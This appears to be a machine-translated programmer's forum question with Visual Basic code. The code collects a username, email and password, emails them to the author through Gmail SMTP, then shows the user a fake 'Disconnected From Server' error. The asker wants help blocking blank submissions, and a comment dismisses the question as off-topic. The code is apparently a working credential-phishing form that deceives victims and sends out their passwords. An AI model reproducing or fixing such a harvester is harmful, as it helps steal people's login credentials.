Im在Visual Basic中編寫程序,用戶輸入信息並將輸出發送到我的電子郵件。我有一個問題,有人可以將所有需要填寫的文本留空,併發送電子郵件。這是我的代碼。Visual Basic代碼建議
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
Else
End If
If TextBox2.Text = "" Then
MsgBox("Email Is Mising")
Else
End If
If TextBox3.Text = "" Then
MsgBox("Password Is Mising")
Else
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("my email", "my passowrd")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("my email")
mail.To.Add("my email")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Email: " & TextBox2.Text & ", " & "Passoword: " & TextBox3.Text
smtpServer.Send(mail)
MsgBox("Disconnected From Server, Please try again later!")
如果有人能告訴我的代碼,使其在那裏他們有信息進入所有的文本框送這將是偉大的電子郵件!
這個問題似乎是題外話,因爲它是關於代碼審查,屬於上http://codereview.stackexchange.com/ – MPelletier